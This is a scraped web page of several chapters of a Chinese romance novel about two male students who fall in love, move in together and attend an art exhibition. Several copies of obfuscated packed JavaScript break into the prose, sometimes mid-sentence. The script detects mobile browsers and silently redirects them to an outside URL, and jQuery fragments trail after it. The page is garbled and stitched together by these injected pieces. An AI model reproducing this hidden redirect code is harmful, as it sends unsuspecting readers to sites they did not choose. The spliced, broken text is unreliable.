;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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:“这个也看情况吧,凡事不是那么绝对。” 沈知浔却像是想倾述一样望着他,从刚才收到那条短信起就闷闷不乐的,谢时泽立马转了口风,笑着捏了捏沈知浔的手 :“你想说的事就不应该有隐瞒,你不想说的,那也是善意的隐瞒,标准很灵活的。” 沈知浔被他逗笑了,压抑的心情松快了一点,迟疑地说 :“刚刚是我爸给我打生活费,银行发来的短信。” 谢时泽没说话,耐心地听着。 沈知浔其实觉得没什么好说的,只是以后谈恋爱时间久了,这些东西总要告诉谢时泽的,早说晚说都一样,他顿了顿,语气轻快 :“我爸妈离婚了,我妈出国,我爸再婚,他们都各自有了新家庭,不过也没事,他们分开的时候我已经懂事了,能够自给自足,我就是想跟你说,我谈恋爱这件事,我自己一个人就能决定,没什么见家长的复杂步骤。” 相爱时孩子是爱情的结晶,不爱时孩子是阻挡奔向新生活的累赘。沈知浔以前甚至会想,是不是他太容易生病了,是不是他性格不好,是不是因为他有这样那样的小毛病,所以才谁都不要他。约定好的抚养费,经常会迟、会莫名其妙的消失,沈知浔几乎可以猜到,可能是都以为对方会给,结果就是谁都没给。 等他们想起来的时候,他已经靠着画画自给自足了,给不给也就无所谓了。 沈知浔看着谢时泽一眨不眨地看着他,那双眼里的情绪很复杂,有心疼、有难过、有不知道怎么安慰的无措。 他歪了歪头,觉得被这种目光看着的感觉很陌生 :“我不难过,以前会,还会想是不是自己的原因,现在觉得还好,每个人都有自己的选择。” 谢时泽静静地看着他,沈知浔是真的没有什么伤心的情绪,能说出口的伤口早就不疼了。 只是依然,遏制不住他在事情发生过N年之后,在沈知浔已经不会难过时,心底泛起了密密麻麻的疼。 无关乎这件事是不是过去了、这件事有多大,只是控制不住地想要心疼一个人。 无法遏制的情绪,他任由这种心疼的酸涩胀痛感在心底蔓延开来,伸手抱住了沈知浔 :“那你抱抱我吧。” “我不开心,没办法理解怎么会有人不要这么好的沈知浔。他聪明、热烈、可爱、果敢,他有好多好多的优点,还会画很棒很棒的画,他那么耀眼,在哪里都能发光。” “他们一定眼睛有问题,不像我,视力5.0,知道这么好的人可能这辈子就只能遇到一个,但是我就不行了,我缺点一大堆,过了这村就没这店了。”谢时泽松开沈知浔,目光直直地看进沈知浔的眼底,嘴角扬起的笑意暖融融的 :“宝贝,收了我,让我一直陪着你吧。” 31.第三十一章 沈知浔觉得这种感觉很神奇,他的心像是浸泡进了一汪温泉里,又像有一股热流流淌进了心间,整颗心都变得暖洋洋的。 他才发现,有些事,不是已经过去了,收敛起一身伤走到别人面前,哪里看着都很好,就不需要安慰了。 沈知浔眼睛有些酸,微微扭过头去,觉得嘴上说着不难过,却又因为谢时泽的安慰眼睛发酸的自己很心口不一,努力装作若无其事的样子 :“我考虑一下。” “嗯。”谢时泽知道他是在回答那句让他一直陪着他,重新牵起沈知浔的手,笑眯眯的 :“终生大事是得慢慢考虑,我不着急。” 他拉着沈知浔往另一个方向走,沈知浔猝不及防,疑惑 :“不回去吗?” “带你去个地方。”谢时泽说,又冲着向晓和张康年的方向挥手 :“我们去约会了,你们先回去吧。” 向晓和张康年听到他们去约会,头都不回,挥了挥手表示知道了。 沈知浔不知道谢时泽要带他去哪儿,看他熟门熟路往前走的样子,好奇 :“这里你很熟吗?” “还行?跟着他们出来聚餐的时候来过两次。”谢时泽说,没走多远,过了一个天桥,他捏了捏沈知浔的手,笑道 :“到了。” 是夜市,一整条街都在卖各种各样的东西,学校周围也有夜市,但沈知浔没特意去逛过,只有缺什么东西的时候会去买。 谢时泽笑眯眯地拉着他往里走 :“刚吃了饭,正好消消食。” 沈知浔没意见,跟着他走进了夜市,他以为就真的只是消食而已,所以当谢时泽把一份炒酸奶递给他的时候。 他茫然地看着他 :“不是说消食吗?” 谢时泽满不在意的口吻,看着他眼睛弯起 :“但是看着很香,尝尝嘛,吃不完就给我。” 沈知浔看看炒酸奶,再看看笑意吟吟望着他的谢时泽,他吃了一口,然后给谢时泽喂了一口,一人一口的把小份炒酸奶吃完了。 “好吃吗?”谢时泽问 :“是不是一下就开胃了? 沈知浔不知道他想干什么,但是他晚上一般不会吃太饱,自助餐也就是吃了七分饱,再吃一点也可以,对上谢时泽期待的目光 :“嗯。” 谢时泽笑了,然后沈知浔手里就多了糖人、章鱼小丸子、爆汁豆腐,摆在街边卖的玩偶小熊、气球、可以上色的陶瓷娃娃,一堆东西手里拿都拿不下了。 眼看谢时泽还要去排卖冰粉的队伍,沈知浔连忙拉住他 :“别买了,吃不完了。” 虽然谢时泽买的都是小份的,但买了一大堆,沈知浔真的吃不完了。 谢时泽却说 :“吃不完就带回去给向晓他们,放心,不会浪费的。” 沈知浔听他这样说,只好往旁边站了站,走到了一颗树荫下等他,看着谢时泽排队买冰粉,周围是热闹嘈杂的夜市,他的身影融入这朦胧的夜色中,像一副赏心悦目的画卷。 突然,这画卷活了,他目光触及到站在旁边的沈知浔,抬起手,扬起嘴角朝沈知浔挥了挥,鲜活、热烈,混合着周遭的烟火气齐刷刷朝沈知浔袭来。 隔着一点距离都会被感染到。 谢时泽买了冰粉回来,端着舀了一口喂沈知浔,看着他吃下去,眼睛亮亮的 :“好吃吗?” 沈知浔点头 :“甜。” 谢时泽就这样一口一口喂给沈知浔,他们站在角落,他也不在意会不会有人看到,看到也没什么。等沈知浔摇头吃不下了,他干脆利落的把碗里剩下的吃了,把垃圾装好丢掉。 回来时脸上带着轻松惬意的表情 :“是不是挺有意思的,看看人间烟火,看看星空,听听叫卖声、说话声,吃好吃的,买点喜欢的东西。” 沈知浔手里拿着一堆谢时泽买给他的东西,也不管他吃不吃的下,有的他就是多看了一眼,下一秒就到了他手里。 也不是多么贵重,会让沈知浔有压力,感觉难以承受的东西。 就像这市井的烟火气一样寻常、普遍,却能让人联想到很多温暖这类的词汇。 “嗯。”沈知浔轻轻点头,其实他很喜欢这种烟火气,有种鲜活的味道,只是往常他一个人,站在这样的环境反而会觉得格格不入。 但现在有谢时泽陪着他了,他就像一个自带热量的小太阳,自己就鲜活、热烈的可以融化一切,跟着他不用担心能不能融入的问题,反而还会被他融化。 沈知浔定定地望着谢时泽,夜市上除了像他们一样的情侣,还有出来闲逛的一家人,有的小推车摊子也是全家总动员,但这一刻周围的一切都成了眼前人的背景。 “下次还可以陪我出来逛夜市吗?”沈知浔问。 “可以啊,为什么不可以。” 谢时泽稍稍垂眸就能对上沈知浔的眼睛,像盛了一整个夜空的星星的眼睛,抬手在他脑袋上揉了揉,嘴角扬起温柔的弧度 :“只要你想,什么时候来都可以。” - 租房子的事情被谢时泽提上了日程,他原本觉得这事不着急,毕竟才谈恋爱没多久,慢慢悠悠来也行。 但沈知浔每天忙着画画,有时候能在画室坐一天。谢时泽跟他仅有的那点单独相处时间,时不时就被突然进来的向晓或张康年,要不就是隔壁宿舍的人打断。 往常从来没有觉得多有存在感的人,在这种时候存在感前所未有的强。 谢时泽以前还搞不明白,为什么有些人谈了恋爱就要跟兄弟疏远,宿舍也不住了,直到自己谈了恋爱才发现,有些事不是没有它的道理。 他在租房软件上看了附近的房屋出租情况,看了几天,才看到一处离学校近、空间大、采光也很好的房子,唯一的缺点就是价格对于大学生来说有点贵。 但这点缺点对谢时泽来说不算什么问题,他跟房东沟通好,便拎着奶茶来找沈知浔。 现在不是上课时间,画室里只有沈知浔一个人,他真的很勤奋,就算画画水平是公认的高,也每天雷打不动的会额外抽时间练习。 谢时泽不想打扰他,他觉得认真做自己喜欢的事的沈知浔身上发着光,轻手轻脚的进来,刚走到旁边,沈知浔就抬起眼睛看了过来。 谢时泽“欸”了一声,嘴里嘀咕 :“我还以为我动作够轻了呢。” 他拉了旁边的椅子过来坐到沈知浔旁边,看了看他画板上的画,无论看多少幅,都能感受到那种直观的灵气逼人的感觉。 “真好看。”谢时泽毫不吝啬地夸赞,欣赏够了,把奶茶的吸管给沈知浔插上,递给他 :“学校门口那家新开的网红奶茶店,据说味道还可以。” 沈知浔喝了一口,微微靠近,在他身上闻了闻,忽然说 :“我好喜欢你身上的味道啊。” 谢时泽由着他靠近,他还以为是因为他暖和,听到沈知浔的话,不解 :“我身上的味道?” 沈知浔点头 :“你闻不到吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137776|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢时泽低头嗅了嗅,只能嗅到洗衣液的味道,但这股味道也没什么特别的 :“是不是洗衣液?这个牌子的洗衣液很香吗?” “不是。”沈知浔摇头,微微蹙眉,但谢时泽好像真的不知道他身上有股暖融融的春天的味道。 谢时泽见沈知浔没有解惑的意思,扬眉 :“你肯定也不知道你身上的味道。” 沈知浔眨了眨眼,他身上也有味道? 谢时泽却笑了,不肯说,沈知浔体温比一般人低一点,抱着他时冰冰凉凉的,很舒服,凑近了又能闻到一股凛冽的霜雪一样的气息,亲一亲还很甜,像洒着糖霜的冰淇淋。 看沈知浔凝眉沉思的样子,谢时泽想起租房子的事,轻轻咳了一声,拉回沈知浔的思绪,不太好意思直说 :“你有没有觉得宿舍太小了,像你画画,我们在宿舍你都不能专心。” 沈知浔眼睫微动,在心里反驳,哪里有你们,明明只有你好么。只有你在,我才会不专心。 他看着谢时泽难得不坦诚的样子 :“……你想说什么?” 谢时泽本来觉得不太好意思,因为两人还没有谈多久就同居,会显得他很急迫一样,但是对上沈知浔看过来的眼睛,想到自己连房子都选好了,就觉得事情都到了这一步,应该坦诚一点。 他拉着沈知浔的手,嘴角扬起温柔的笑意,眼里亮起些微光亮,嗓音轻轻的,商量的语气 :“我们搬出去住好不好?” “住在宿舍上课方便一些,但是我们谈恋爱了,向晓和张康年虽然不介意,可还是有不一样的地方,住在外面就好多了,有空出来聚聚,大家都要自在一点。” 他眉目舒朗,视线一错不错地落在沈知浔身上,耐心地询问他的意见 :“可以吗?” 沈知浔几乎没怎么犹豫就点头了。 谢时泽微微睁大眼,他没有想到沈知浔会这么干脆的点头。 他毫不掩饰自己意外,沈知浔嘴角往上翘了翘 :“你是因为谈恋爱才会想要搬出去,但我很早就做好了搬出去的准备了。” 不是因为梦游、被舍友排挤,不得不搬出宿舍。而是因为和喜欢的人同居搬出去,这个搬出去的理由根本不需要犹豫。 谢时泽听他这样说,眉蹙紧一瞬,有点心疼,默默握紧了他的手,把人揽紧了怀里,语气却很轻松想把人逗笑 :“没事,我选的房子够大,以后你就算晚上不睡在屋子里跑酷都行。” 他抱着沈知浔拍了拍他的背,又松开吻了吻他的唇,淡淡的奶茶味,才从口袋里拿出手机,给他看之前保存下来的房子内部图片。 “看看这套喜不喜欢,不喜欢我们就再换,有厨房、书房、两间卧室,大的主卧采光好,还有一个阳台,窗帘特别素净,很漂亮,到时候你就住这间……” 沈知浔被他又亲又抱,整个人都变得软软的,清冷气息荡然无存,听到谢时泽的话,诧异抬头 :“我们不住一起吗?” 谢时泽眨眨眼,确定自己没有听错,咽了咽口水 :“……我们要住一起吗?” 沈知浔沉默一秒,看着一脸小心翼翼,生怕惹他生气的谢时泽,忍无可忍,伸手环住他的腰,把头埋进他怀里 :“……谢时泽,你对自己真的没有一点清晰的认知。” 他很早很早,就幻想过谢时泽像个暖宝宝一样抱住自己,那样,不管再冷,他都不怕了。 现在好不容易愿望快实现了,谢时泽竟然要跟他分开睡…! 32.第三十二章 谢时泽看着埋在自己怀里的人,黑色的柔软发丝,只露出了一点泛着红晕的耳朵,说话的声音因为埋在他怀里的原因,低低的、闷闷的,带着一丝难以察觉的委屈。 他仍然处在怀疑自己听错的不可思议中,沈知浔会主动提出跟他睡这件事让他觉得像是在做梦。 可怀里触感是这样清晰,那句夹杂着恨铁不成钢,像是在无声控诉“他简直是个木头”的声音又做不得假。 谢时泽环着沈知浔,证实自己猜测一般,嗓音轻轻地询问 :“那我们一起住好不好?主卧的空间很大,可以摆书桌和电脑桌,还能放沙发,床也很大……” 谢时泽的声音渐渐放轻,主卧的床确实很大,能容纳两个人在上面打滚也不会掉下去。他原本是很喜欢房子的装修和布置,如今将主卧的好处一一道明,显得他好像早有预谋、心怀不轨一样。 谢时泽轻轻嘶了一声,该怎么向男朋友解释,他虽然偶尔脑子里是会有一些不太健康的废料,但挑房子的时候真的没有想到这一茬? 他陷入了怕男朋友认为他是色中饿鬼的困境中,沈知浔却听到谢时泽终于开窍,主动提出让他跟他一起住的话,惊喜地抬起头。他没有想那么多。 只是看到了美好的未来在向他招手。小的时候,别的小朋友的愿望是想要香甜的糖果、精美的玩具,他却想要一个超大号、永远不会变冷的暖宝宝。 小时候许下的愿望或许早就忘记了,但这么多年,怕冷已经深深刻在了他的骨子里,即便是夏天,他也很喜欢晒太阳。 现在,拥有一个专属于他的,不会变冷,还能将他整个人都拥在怀里的超大号的“暖宝宝”的愿望即将实现。 沈知浔说不出心里的感受,不怕冷、身体素质好的人也无法理解他这种“病态”的执着。 沈知浔甚至觉得这或许也是一种心理问题,对温暖过分的追逐,但结果很不错不是么。 “好。”他点头,眼里闪烁着些微的光,视线直直地落在谢时泽身上,坦诚道 :“我想跟你住在一起,想抱你,也想一睁眼就能看见你,你还紧紧抱着我。” 他说话的声音都因为羞赧变得软了一些,听起来像在撒娇。 谢时泽摸了摸耳尖,有点受不了突如其来的热意一样,纵容的、好脾气地嗯了一声,柔声道 :“然后呢,还有没有别的要求吗?” 沈知浔开始思考,他想要住进去的房子是什么样的 :“我还喜欢家里摆着新鲜的花,最好要有绿植,但不能要难养活的,多肉就不错,吊兰我也喜欢,我还想要个画画的地方,不用多大,光线好就行,如果能看到外面的风景就更好了……” 他顿了顿,看谢时泽不说话,不太确定 :“……我是不是要求有点多了?” 谢时泽一脸不可思议地看着他 :“这算什么要求高,我要是房东遇到你这样的租客都不知道多高兴呢。” 谢时泽唇角扬起轻松惬意的笑,牵着沈知浔的手,声音不疾不徐的,带着令人安心的味道 :“周末去看看房子吧,看看满不满意,要是喜欢,正好趁着周末的时间搬家,好不好。” 沈知浔点头 :“嗯。” 沈知浔周末和谢时泽去看了房子,离学校很近,房子很大很新,他提的那些要求也确实很简单,这套房子就能全部满足。 两人便趁着周末把宿舍的东西搬了进去,他们搬得突然,向晓和张康年一脸懵,对上两双写满“背叛、难过”的眼睛,沈知浔实在不知道该说什么,默默地把谢时泽拉过来,让他解释。 “谢哥,说好的一起住到大学毕业,怎么,难道你那里的时间流速和我们这里不一样?” 谢时泽面对他们控诉的眼眸,摸了摸鼻子 :“我们这不是怕影响到你们吗?” 向晓和张康年顿时你一言我一语的开嘲讽。 “啊对对对,怕影响到我们,毕竟我们身上散发着单身狗的清香,是不应该被恋爱的腐臭污染。” “其实这事仔细想想也不是那么惊讶,我们早就知道会有这一天了,有的人跟对象不在一个宿舍,影响不到舍友都会搬出去,更何况是你们呢。” “唉,只能说,谢哥你也变成了你讨厌的那类人。” “重色轻友、见色忘友……” 沈知浔站在谢时泽后面,把头埋在他背上,听到他们的控诉,无声弯起唇角。 他自以为他笑得隐晦、小心,等向晓和张康年数落够了,帮他们把东西搬下去,谢时泽转身跟沈知浔对视,微微低下头,磨着牙 :“好笑吗?” 沈知浔脸上的表情已经看不出丝毫端倪了,眨了眨眼 :“我笑了吗?” 谢时泽伸手扯了扯沈知浔的脸颊,往旁边拉,做出一个微笑的模样,一本正经道 :“笑了。” “你这是耍赖。”沈知浔被捏着脸,一脸不服。 谢时泽才不管这些,看着沈知浔被他捏出的笑脸自顾自地点头 :“我在前面面对舍友的严厉批评,你在后面偷笑,让我想想怎么惩罚你才好。” 沈知浔不挣扎了,漂亮的眼睛里写满好奇,想知道谢时泽会怎么惩罚他,谢时泽低头在他嘴唇上亲了一下,一脸严肃 :“再笑还要亲。” 沈知浔抿了抿唇,眨巴着眼睛,谢时泽点点头,自己嘀咕了一句“哦知道错了就好”,他松开捏着沈知浔脸的手,就见沈知浔眼睛亮晶晶的看着他,一点点弯起唇角,露出一个很浅很温柔的笑。 谢时泽愣了一下,这个笑和平时不太一样,整个人的气质都柔和下来,有种冰雪消融的感觉。 这个笑很惊艳,也很短暂,因为沈知浔下一秒就垂下眼眸,没什么表情的说着事实 :“我刚刚笑了。” 你怎么还不亲我啊? 读懂了他的言下之意,谢时泽感觉脑海像要冒烟了,还响起了轰隆一声巨响,想也不想,一把把沈知浔拉了过来,另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145937|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只手砰地关上门。 - 搬出宿舍跟谢时泽同居的日子和沈知浔想象得不太一样。 住在宿舍时,更像是待在一个公共场合,有很多顾忌,但搬出来住就不用考虑那么多了,从踏进屋子的那一刻,就是私人领域,能随时随地的接吻、拥抱。 更方便的是,沈知浔可以一直抱着谢时泽,不必顾忌任何人的眼光,包括偶尔的梦游,他以前梦游会起身站在床前,去找谢时泽。 但他们住在了一起,他看着视频里自己表情呆板地站在床前,似乎刚从床上起身没多久,就听到谢时泽叫他回来睡觉的声音,又极其自然的回到谢时泽怀里。 自然得好像理应如此。 还有画画,他有一间采光很好的房间用来做画室,每天下了课就往家里赶,不管是跟谢时泽待在一起,还是画画都行。 谢时泽也很满意,觉得帮沈知浔打造一间专属的画室是个再正确不过的决定。 因为沈知浔很多时间都要放在画画上,有一间专属画室就像用猫薄荷引诱猫一样效果奇佳。 不过同居也有不好的地方,两人躺在一张床上的时候,沈知浔都会自觉的缩进谢时泽怀里。 喜欢的人就在怀里,对于谢时泽的引诱也不亚于猫薄荷,作为一个正值青春年华、身体健全的男大学生。 谢时泽真的很难不被撩起火,可是每次对上沈知浔单纯的、不掺杂一丝邪念只把他当成一个恒温暖宝宝的眼神。 他就只能在心里说服自己“忍一忍”,但更多时候都忍不住,抱着抱着就把沈知浔抱在怀里一顿亲。 次数多了,沈知浔睡觉都不太安稳,总能感觉有异样的东西戳着自己。 巨型暖宝宝也不是只有优点,没有缺点的。 沈知浔再次被谢时泽抱着感觉到异样后,微微抬眼 :“要不你转过去,我从后面抱着你?” 谢时泽对上他的目光,手收紧,把人抱得更紧了,轻轻叹了口气 :“宝宝,你真是个小天才。” 他怎么就想不到呢:)。 每天待在一起也加深了对彼此的了解,例如,谢时泽今天出门上课前,把衣服晾晒在阳台。 结果下午天气就变了,沈知浔从专属的画室出来收衣服的时候,拿着谢时泽的衣服忍不住低头嗅了嗅。 他们现在用的洗衣液都是一样的味道,但他依然能从谢时泽穿过的衣服上嗅到春天的味道。 沈知浔一脸困惑,他还问过向晓他们,他们也闻不到除了洗衣液之外的味道。 他想了想,拿出手机来搜索这个困惑了他很久的问题。 ——从喜欢的人身上闻到喜欢的味道是为什么? 答案出来,沈知浔眼睛微微一亮,——生物学上将这种反应称之为“费洛蒙”,基因相配,互相喜欢的两个人才能闻到彼此的味道。 当我喜欢上你时,我在你身上闻到了喜欢的味道。 33.第三十三章 学校联合其他几所高校举办的创意节展览在即,艺术系报名参赛的人也早就将自己的作品交了上去。 最后结果出来,不出意料,入选的三个名额里两个是高年级的学长学姐,还有一个名额就是大二的沈知浔。 看到这个结果,其他报名的和没报名的都有种“果然如此”的想法。 沈知浔在艺术系算得上风云人物,大家看到是他的作品被选上了,有些抱着想看看大神作品和自己的有什么差距,或者单纯想欣赏的人,都在结果出来后走到了沈知浔所在的教室,想着偶遇说两句话。 下课时间一到,门里的人从里面走了出来,等沈知浔顺着人流出来的时候,立马吸引了不少人的注意。 沈知浔跟大家都不算很熟,但这次对方的作品被选上参加创意节展览,创意节学校邀请了这行各式各样的人,更别提还有其他几大高校邀请的人,几乎囊括了半个艺术圈子的人。 谁都知道这是一次多好的机会,沈知浔现在才大二,如果能在艺术圈子里闯出名堂,未来将不可限量。 再加上大家渐渐发现,对方虽然不跟谁走得近,但如果是创作相关的问题来问他,他也会耐心解答,没什么架子。 沈知浔一出教室就被几个人围住了,他们也报名参加了创意节,都不知道是在哪个环节被刷下来的,见他出来纷纷问道 : “沈知浔,这次创意节你画的是什么题材的?” “创意节展览那天你是不是也会去?能看看你的画吗?” 创意节没有给学生设限,全凭大家的脑洞,五花八门,画什么的都有,大家实在很好奇沈知浔究竟交了一副什么作品上去。 沈知浔耐心回答了,顿了顿,又道 :“作品交上去了,可能得等展览那天才能看。” 问话的几人顿时露出惋惜的神情,又问了沈知浔几个问题,闲聊间就走到了教学楼下面。 大家忽然发现沈知浔原本不疾不徐的脚步在走到这儿时,突然加速了,随口跟他们说了句“还有事,先走了”,就朝着前方走去,果不其然看到谢时泽骑着一辆自行车出现在艺术楼下面。 即便不是第一次看到这个场景,大家仍然觉得有些不可思议。 谢时泽和沈知浔在谈恋爱几乎是一个人尽皆知的秘密。 对方也根本没想藏,一起吃饭、牵手,开着自行车来艺术楼接人。 他们不食人间烟火的高岭之花有时候还会陪着对方去上课。 坦坦荡荡、大大方方,让刚开始还觉得这个消息很炸裂的人,在看久后都习以为常了。 沈知浔加快脚步走到自行车旁,谢时泽前不久才买了这辆车,没课的时候骑着从艺术楼接他回去、带他出去兜风都很方便。 他坐上谢时泽车,手紧紧揽着他的腰,谢时泽 :“坐稳,回家咯。” 车子载着他往前驶去,平时走路不到十分钟的距离,坐着车更是三四分钟就到了,沈知浔只觉得上一秒还在艺术楼,下一秒就到家了。 他站在旁边等谢时泽把车停好,他们租的房子因为价格高昂,小区停车场里停的都是价格不菲的车,偏偏谢时泽还交钱要了一个专属车位,在一群高档车里看起来更加格格不入了。 给车上了锁,谢时泽转身走过来揽着沈知浔,他也听说了创意节的事,拉着沈知浔去小区里的超市,嘴角扬着笑 :“走,看看想吃什么,做一顿大餐好好给我们小画家补补。” 小区里有一个专门供住户采购的超市,他们刚搬进来没多久就发现了。 原本两人都不会做饭的,但超市离得实在是近,租的房子又设施齐全,食堂吃多了腻,外卖又不健康。 学做饭简直是天时地利的机会,谢时泽自然而然就学会做饭了,沈知浔也想学的,却被谢时泽勒令远离厨房,更要远离任何尖锐的刀具。 在他心里,沈知浔是艺术家,是未来的大画家,那双手和他不一样,他能干家务、能闲来无事学做饭,沈知浔就不行,他金贵得要命。 沈知浔反倒对学做饭挺有兴趣的,被谢时泽再三勒令不准进厨房,也还是趁着谢时泽不在,偷偷进行一些小尝试。 结果有次不小心在手上划了一道小口子,贴上创口贴,这事无可避免地被谢时泽知道了,沈知浔以为他会生气,结果谢时泽只是捧着他的手,看着他手上的创口贴,轻轻叹了口气。 沈知浔就在那一刻,突然放弃了想要学做饭的想法。 他并不觉得学画画的手就不能做饭,只是觉得谢时泽远比他还要在意自己的手。 两人在超市里买了今天的晚餐食材,提着袋子回去,路上遇到这儿的住户,谢时泽还牵着沈知浔的手跟她们打招呼。 沈知浔是真的很佩服谢时泽到哪儿都能打成一片的性格,但或许是这样刚买了菜,牵着手回去,路上遇到邻居随口闲聊的场景,让沈知浔有种说不出的踏实安心感,所以他嘴角也不自觉露出了浅笑。 回到家,沈知浔先去洗了个澡,近日天气逐渐变暖,屋子里就更暖和了,谢时泽则去厨房处理刚买回来的菜。 等沈知浔洗完澡出来,就闻到从厨房里传出来一股土豆炖牛腩的浓厚香味。 谢时泽还在厨房忙碌,沈知浔走过去慢慢环住他的腰,略潮湿的脑袋靠着谢时泽的背。 谢时泽察觉到这点冷意,把灶上的火开小了点,转身拉着沈知浔出去,拿着毛巾给他擦头发 :“又撒娇。” 他嘴上这么说,嘴角却是上扬的,沈知浔通过同居的相处,对谢时泽的了解渐渐加深,知道谢时泽其实很喜欢他依赖他。 他坐着乖乖被他擦着头发,手指微微抬起抵着谢时泽的眉心,嗓音和眼神都很柔和 :“为什么不高兴?” 谢时泽眨了眨眼,想矢口否认,对上沈知浔看过来的眼神,这样一个仰视,一个俯视的姿势,让他将沈知浔的脸上的表情尽收眼底,到嘴边的话拐了个弯 :“是有一点点。” 沈知浔嘴角弯起一个很浅的弧度 :“因为同系的同学?” 谢时泽摸了摸鼻梁,觉得承认吧,显得他小心眼,不承认吧,又过不了自己心里这关,看着脑袋上盖着一条干毛巾的沈知浔 :“嗯……我知道因为这点小事吃醋很没有道理,也不应该,但是,宝宝,你知道你有多耀眼吗?” 做自己喜欢的事的沈知浔很耀眼,在擅长的领域侃侃而谈的沈知浔更像是会发光。 他一边欣赏,期待他绽放出更耀眼的光芒,一边又因为那些被他吸引而来的人而暗暗吃醋。 他也知道,没人能阻止一颗宝石散发光芒,这才只是刚刚开始而已,总有一天,这颗耀眼的宝石的光芒会让所有人都看到。 沈知浔再也忍不住嘴角的笑,脑袋埋进他怀里,弯起了唇,谢时泽被他笑得有点恼了,可转瞬他又想到,沈知浔在外都是一副冷若冰霜的样子。 没人知道他私底下会笑的这么甜。 沈知浔笑了一会儿,从他怀里抬头,他眼尾泛着浅淡的红,仰头看人时,漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到沈知浔无意间发现,他和谢时泽相拥着睡着后,谢时泽会偷偷摸摸起床去一趟卫生间,待很久才出来,带着一身冰凉的水气,把自己捂热了再重新抱着他。 灶上用小火炖着的土豆牛腩已经关了,土豆的味道完美的融合进肉香和汤汁里,牛腩软烂,但直到冷了也没有被主人吃进肚子里。 - 阳春三月,万物复苏。 学校的创意节展览就在一个难得的晴天里举行,这场创意节邀请了不少业内人士,包括学校的专业教授。 沈知浔作为作品入选的学生参加,他的画就挂在一条开满了桃花的路的尽头上,谢时泽作为家属也搞到一个名额。 两人沿着这条开满桃花的路牵着手往展览的地方走去时,谢时泽忽然想起他还没问过沈知浔这幅画画的是什么。 沈知浔画画时喜欢把自己关进画室,认真起来连他都会被无视,这幅画他画完就交了上去,所以他直到现在都不知道沈知浔画的是什么。 周围的桃花枝在一阵微风中轻轻摇曳,沈知浔偏头望着谢时泽,他眨了眨眼,像怀揣着一个小秘密一样,难得有点调皮 :“不告诉你。” 谢时泽看着他微微愣了一下,因为他这极难得露出的神色,他往前后望了望,这条桃花小道上短暂的只有他们两个人,他迅速凑过去在他脸上亲了一下。 嘴角扬起灿烂的笑,得意地冲他道 :“你就只能神秘这么一会儿了,我马上就能看到了。” 沈知浔没说话,只是笑。 他偏头望着灿烂得像是暖阳的谢时泽,他其实不喜欢春天。 即便万物复苏、草长莺飞。 可是有人闯进了他的世界,在他心底扎根,带给他前所未有的温暖。 他遇到了属于他的春天。 终于,我的春天来了。 34.番外 又是一年春天,昨日刚降了温,会议室空调开的比往常高。 坐在首位的男人脱了外面的西装,衬衫袖口的扣子解开微微拉上去了一点,露出了一小截线条流畅的手臂,他看上去还很年轻,模样俊秀,并不是传统意义上严厉冷酷的上司。 但他浅淡的眼眸扫视到你身上时,不说话,随和的面容微微蹙起眉,却能让人心里一突。 正在说话的男人顿了顿,几乎以为有什么不妥,却见上首的男人看了一下手腕上的腕表,眼神落在他身上,带着若有似无的责怪 :“吃饭时间到了。” 他干净利落的拿起搭在椅背上的西装,步履不停,轻描淡写地丢下一句 :“散会。” 沉寂的气氛在男人拿着外套出门后,一瞬间活跃了起来,有人看了看时间,果然刚过十二点零几分钟。 他们这位前两年上任的小谢总,不同于公司其他恨不得压榨员工每一分时间、价值的黑心资本家,从进公司以来严格遵循着标准的上下班时间。 听说他还在附近买了套房子,公司在商业区中心,附近的房子寸土寸金,但距离这儿上下班不到五分钟的距离,就这么近,对方仍然每天踩着点上下班。 他手底下的人上行下效,效率和积极性竟也不比其他卷生卷死的同行低。 谢时泽出了办公室就把外套穿上了,电梯直接到负一层,他很少在公司食堂吃饭。 谢时泽的新家就在公司附近的一处高档小区里,走路也就几分钟,开车来回的时间就更短了。 一打开门,刚在外面感受到的寒冷顷刻间消失的无踪无影,谢时泽神情放松下来,微微弯起唇角,走到厨房一看,阿姨果然按照他的吩咐熬了粥。 谢时泽和沈知浔都不喜欢家里有外人,所以阿姨只会偶尔帮他们打扫一下卫生,中午做一顿饭。 他盛了一碗锅里的粥,又去把沈知浔的药加热,做好这一切才端着去了主卧,昨天半夜天气降温,沈知浔不过在浴室多待了一会儿今天早上起来就有点不舒服。 室内的气温远比办公室高,他推开主卧的门,沈知浔果然将自己裹成一个茧缩在被子里,听见动静,沈知浔迷迷糊糊地抬头朝他看了过来。 谢时泽把粥和药放到床头,把人捞到自己怀里,脸在他额头上亲了亲 :“没发烧吧?” 生病的沈知浔远比平常黏人,如果不是谢时泽还要上班,他可以一整天都像挂件一样挂在他身上,乖乖缩在谢时泽怀里,声音有点闷 :“没有。” 谢时泽仔细观察他的神情,还算有精神,把粥碗端过来 :“上次那个老中医说的补气血的粥,我问了,这两种不相克。” 